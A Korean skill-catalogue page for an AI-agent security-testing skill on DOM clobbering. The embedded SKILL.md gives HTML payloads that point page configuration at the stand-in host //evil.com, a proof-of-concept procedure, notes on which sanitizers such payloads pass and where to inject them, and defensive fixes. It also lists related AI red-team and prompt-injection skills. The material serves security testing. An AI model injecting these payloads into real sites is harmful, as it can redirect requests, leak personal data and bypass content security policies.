dom-clobbering
하는 일
이 스킬은 이름이 붙은 HTML 요소가 JavaScript의 페이지 변수를 덮어쓸 수 있는 방식을 설명합니다. 필터링된 HTML이 여전히 페이지 동작을 바꿀 수 있는지 확인하는 보안 테스터를 위한 스킬입니다.
사용하는 경우
- ✓사용자가 HTML을 추가할 수 있는 사이트에서 필터를 통과한 이름 붙은 요소가 남을 수 있는 경우.
- ✓보안 검토에서 페이지 스크립트가 HTML로 덮어쓸 수 있는 전역 설정을 읽는지 물을 때.
- ✓콘텐츠 보안 정책을 HTML로 우회할 수 있는지 확인하고 싶을 때.
스킬 링크
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/dom-clobbering/SKILL.md복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.
사용 방법
가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.
바로 붙여넣을 수 있는 메시지
Claude Code, Codex, Cursor용입니다. 프로젝트 폴더에서 실행하면 스킬이 설치됩니다.
SKILL.md를 다운로드해 에이전트의 스킬 폴더에 넣으세요.
AI에게 요청하는 예시
“댓글 영역의 HTML 필터가 사용자가 제 페이지의 JavaScript 설정을 바꾸도록 허용하는지 확인해 주세요.”
매주 새 스킬 5개. 읽는 데 1분.
작동 방식
에이전트는 선택한 이름이나 id를 가진 요소가 설정 객체처럼 페이지가 읽는 값을 대신할 수 있는지, script 태그 없이 테스트합니다.
기술 내용 (원본 SKILL.md)
작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.
DOM Clobbering
Named HTML elements (<form>, <a>, <input>, <img>) with name=
or id= are accessible as JavaScript properties of window and document.
If app code does if (window.config.endpoint) and attacker can inject
HTML (even sanitized), they can replace window.config with an HTML
element.
1. The classic
<!-- App code -->
<script>
if (window.config && window.config.endpoint) {
fetch(window.config.endpoint + '/data');
}
</script>
<!-- Attacker-injected HTML (passes most sanitizers — no script/event handlers) -->
<form id="config"><input name="endpoint" value="//evil.com"></form>
window.config resolves to the form. window.config.endpoint resolves
to the input. .endpoint is now "//evil.com". App fetches from evil.
2. Common targets
window.locationoverwrite (anchor w/id=location)- Library global config (jQuery's
$.cookie, etc) - CSP nonce/source values read from globals
document.cookie(limited but exploitable)window.onerrorclobber
3. Payload patterns
Single-element clobber
<a id="config" href="//evil.com"></a>
<!-- window.config is the anchor; window.config.toString() returns "//evil.com" -->
Multi-level clobber (a.b.c)
<form id="config"><input name="endpoint" value="//evil.com"></form>
<!-- window.config.endpoint = "//evil.com" -->
<!-- Deeper nesting via name= chaining is more limited; needs Document Proxy or specific browsers -->
CSP nonce theft
<!-- App: <script nonce="ABC123"> -->
<form name="nonce"><input name="nonce" value="ABC123"></form>
<!-- Some code reads window.nonce.value (rare but exists) -->
Cookie attribute hijack
<form name="cookie" action="//evil.com"></form>
<!-- document.cookie unchanged but some libs read window.cookie -->
4. Where to inject
DOM clobbering payloads pass MOST HTML sanitizers (DOMPurify default, sanitize-html, bleach) because they contain no script tags or event handlers. Targets:
- CMS rich-text content
- Markdown renderers (especially raw HTML-allowed)
- Comment systems
- Profile fields rendered into the page
5. Detection
// In browser console on a target page, list all "named" elements that exist:
Array.from(document.getElementsByTagName('*'))
.filter(e => e.name || e.id)
.map(e => [e.tagName, e.name || e.id]);
// Then check which of these names also exist as window properties used by app JS
// (grep app JS bundle for `window.<name>` references)
6. PoC
Find an HTML-injection sink (not strict XSS) that passes sanitizer
because no JS. Inject the form clobber. Confirm via observed network
request to //evil.com (DNS-level via interactsh).
7. Severity
| Bug | Severity |
|---|---|
| Clobber → CSP bypass enabling stored XSS | Critical 9.0 |
| Clobber of endpoint → exfil PII | High 8.0 |
| Clobber of OAuth flow config | Critical 9.0 |
| Standalone clobber w/o exploitable chain | Low-Medium |
8. Defender
- Sanitizers should strip
id=andname=from user content (DOMPurify hasALLOW_DATA_ATTR: false+FORBID_ATTR: ['id', 'name']config) - Use
Object.defineProperty(window, 'config', {value: cfg, writable: false})for security-critical globals - Use scoped namespaces instead of window globals
- CSP
script-srcw/ hashes (not just nonces) — DOM clobbering can't fake the hash
Cross-references
- Upstream:
skills/_corpus/payloads/DOM Clobbering/ - XSS overlap:
skills/exploit/web/xss.md - CSS injection (similar tactical mindset):
skills/exploit/web/css-injection/SKILL.md(when added)
Known exemplars
- Gareth Heyes / PortSwigger 2020 paper "DOM Clobbering for fun and profit"
- Bypass of Google's Closure templating system
- Multiple HackerOne reports for $5-15k on enterprise CMS clobber chains
자주 묻는 질문
스크립트가 막혀 있어도 이것이 왜 문제인가요?
이 스킬은 스크립트 없이도 이름이 붙은 요소가 페이지가 읽는 값을 바꿀 수 있어 잘못된 요청으로 이어질 수 있다고 설명합니다.
어떤 대상을 언급하나요?
window.location, 라이브러리 설정, 전역 변수에서 읽는 콘텐츠 보안 정책(CSP) 값, 쿠키 처리 등을 언급합니다.
공격에 전체 스크립트 주입이 필요한가요?
아닙니다. 이 스킬은 script 태그 없이 작동하는 이름 붙은 HTML 요소를 다룹니다.
상세 정보
작성자의 원본 설명
DOM clobbering — abuse named HTML elements to overwrite JavaScript global variables, bypass CSP, hijack object property lookups.
인기도
- GitHub 스타
- 6.5k
- 순위
- #14061
- 라이선스
- Apache-2.0
- 업데이트
- 2026. 11. 1.
댓글
- …
이 저장소의 다른 스킬
detector-overview
6.5k에이전트가 스캐너가 표시한 코드를 읽고, 표시된 곳 중 어디가 실제 보안 버그이고 어디가 오탐인지 판단하도록 돕습니다.
exploiter-overview
6.5k에이전트가 확인된 여러 보안 약점을 하나의 테스트 체인으로 묶고, 그 체인이 어디까지 닿을 수 있는지 확인하도록 돕습니다.
llm-redteam-overview
6.5k에이전트가 프롬프트 인젝션부터 모델 악용까지 15개 전술 그룹 중 테스트에 맞는 AI 레드팀 가이드를 찾도록 돕습니다.
aatmf-t01-prompt-injection
6.5k숨겨진 지시가 AI 시스템을 덮어쓰려 하는 프롬프트 인젝션을 설명해, 보안 테스터가 이를 점검할 수 있게 합니다.